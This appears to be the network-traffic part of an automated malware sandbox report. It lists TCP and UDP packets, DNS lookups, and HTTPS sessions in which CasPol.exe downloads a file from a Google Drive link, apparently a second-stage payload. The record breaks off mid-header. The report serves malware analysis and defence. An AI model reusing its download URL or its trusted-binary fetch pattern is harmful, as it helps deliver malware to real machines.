Jan 24, 2022 08:55:04.124660969 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.124675035 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.124762058 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.125437975 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.125535965 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.125549078 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.125623941 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.126334906 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.126425982 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.126437902 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.126519918 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.127239943 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.127317905 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.127331972 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.127414942 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.128140926 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.128232956 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.128245115 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.128318071 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.129023075 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.129116058 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.129129887 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.129224062 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.129931927 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.130014896 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.130028963 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.130117893 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.130816936 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.130908012 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.130918026 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.131011963 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.131649971 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.131742001 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.131755114 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.131814003 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.132597923 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.132688046 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.132699966 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.132786989 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.133471966 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.133541107 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.133555889 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.133614063 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.134356022 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.134423971 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.134435892 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.134493113 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.134506941 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.134560108 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.135195017 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.135262012 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.135276079 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.135332108 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.136051893 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.136116028 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.136128902 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.136187077 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.136903048 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.136984110 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.136993885 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.137053013 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.137733936 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.137804985 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.137820959 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.137876987 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.138556004 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.138633966 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.138645887 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.138704062 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.139364004 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.139434099 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.139447927 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.139502048 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.140139103 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.140208960 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.140223026 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.140283108 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.140919924 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.140990019 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.141004086 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.141062975 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.141669035 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.141736031 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.141750097 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.141804934 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.142457008 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.142523050 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.142537117 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.142592907 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.143193960 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.143259048 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.143270969 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.143327951 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.143688917 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.143754005 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.143768072 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.143822908 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.143825054 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.143845081 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.143879890 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.143914938 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.144469023 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.144531965 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.144545078 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.144598961 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.144609928 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.144661903 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.145241022 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.145302057 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.145315886 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.145373106 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.145386934 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.145437956 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.146008968 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.146073103 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.146085978 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.146142960 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.146155119 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.146208048 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.146692038 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.146754980 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.146768093 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.146823883 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.146835089 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.146887064 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.147411108 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.147490025 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.147501945 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.147521019 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.147556067 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.147605896 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.148159027 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.148221016 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.148233891 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.148292065 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.148617983 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.148684025 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.148696899 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.148750067 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.148753881 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.148768902 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.148802996 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.148839951 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.149563074 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.149631023 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.149645090 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.149693012 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.149698973 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.149712086 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.149756908 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.149774075 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.150497913 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.150563955 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.150578022 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.150630951 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.150630951 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.150649071 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.150681019 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.150715113 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.151393890 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.151460886 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.151473999 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.151519060 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.151526928 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.151541948 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.151571989 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.151599884 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.152244091 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.152312994 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.152327061 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.152380943 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.152381897 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.152400017 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.152435064 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.152460098 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.152471066 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.152529955 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.153150082 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.153215885 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.153229952 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.153274059 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.153285980 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.153300047 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.153327942 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.153352022 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.153964996 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.154031038 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.154043913 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.154098988 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.154380083 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.154442072 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.154454947 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.154503107 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.154509068 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.154520988 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.154556990 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.154580116 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.155201912 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.155266047 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.155280113 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.155334949 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.155343056 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.155358076 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.155386925 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.155409098 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.155993938 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156092882 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.156110048 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156167984 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156172037 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.156186104 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156222105 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.156260967 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.156795025 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156867981 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.156882048 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156938076 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.156946898 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.156965971 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.157002926 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.157044888 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.157633066 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.157716036 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.157728910 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.157813072 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.157819986 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.157831907 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.157875061 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.157891989 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.157905102 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.157967091 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.158353090 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.158417940 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.158432007 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.158489943 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.158495903 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.158514023 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.158554077 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.158576965 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.158587933 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.158651114 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.159337044 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.159413099 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.159425974 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.159487009 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.159506083 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.159563065 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.159692049 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.159713984 CET	443	49786	216.58.198.33	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2022 08:55:02.509996891 CET	49559	53	192.168.2.3	8.8.8.8
Jan 24, 2022 08:55:02.537395954 CET	53	49559	8.8.8.8	192.168.2.3
Jan 24, 2022 08:55:03.562330961 CET	52650	53	192.168.2.3	8.8.8.8
Jan 24, 2022 08:55:03.590068102 CET	53	52650	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 24, 2022 08:55:02.509996891 CET	192.168.2.3	8.8.8.8	0x3509	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Jan 24, 2022 08:55:03.562330961 CET	192.168.2.3	8.8.8.8	0x8f0b	Standard query (0)	doc-00-6k-docs.googleusercontent.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 24, 2022 08:55:02.537395954 CET	8.8.8.8	192.168.2.3	0x3509	No error (0)	drive.google.com		216.58.205.78	A (IP address)	IN (0x0001)
Jan 24, 2022 08:55:03.590068102 CET	8.8.8.8	192.168.2.3	0x8f0b	No error (0)	doc-00-6k-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 24, 2022 08:55:03.590068102 CET	8.8.8.8	192.168.2.3	0x8f0b	No error (0)	googlehosted.l.googleusercontent.com		216.58.198.33	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-00-6k-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49785	216.58.205.78	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-24 07:55:03 UTC	0	OUT	GET /uc?export=download&id=1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-01-24 07:55:03 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 24 Jan 2022 07:55:03 GMT Location: https://doc-00-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9qddp0r9mjehva49e9rt3lobm/1643010900000/08383092466185559033/*/1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_l9ocaq" Report-To: {"group":"coop_gse_l9ocaq","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_l9ocaq"}]} Content-Security-Policy: script-src 'nonce-YW7M4/L15M4rHWrfzKODNg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=lM9OHayBIlUdUYbJtZ6fhG1Sx3JhFtoF6SXO6qx7dZiZo9_TquR-86mquQvq4sLzPT8X5gz1U2rAB0j_IV2WvwADQEfK7KIKCUKCJ7yZtP_RbECVO-QR2gLf8dgAUlTCja0f61jIkYBhxlufYetbBNZyL3uBU2yUklKJqxcSYtE; expires=Tue, 26-Jul-2022 07:55:03 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-01-24 07:55:03 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 30 2d 36 6b 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 74 65 72 70 Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terp
2022-01-24 07:55:03 UTC	2	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49786	216.58.198.33	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-24 07:55:03 UTC	2	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9qddp0r9mjehva49e9rt3lobm/1643010900000/08383092466185559033/*/1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-00-6k-docs.googleusercontent.com Connection: Keep-Alive
2022-01-24 07:55:04 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdusA1mYLkpD9nKxHrO3H27ZiqLTAHH6B8E2aaMemBMTpovru3OPqQJpn5yCC40aTk9CwgP_r-Tz5eebf0suGw Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, 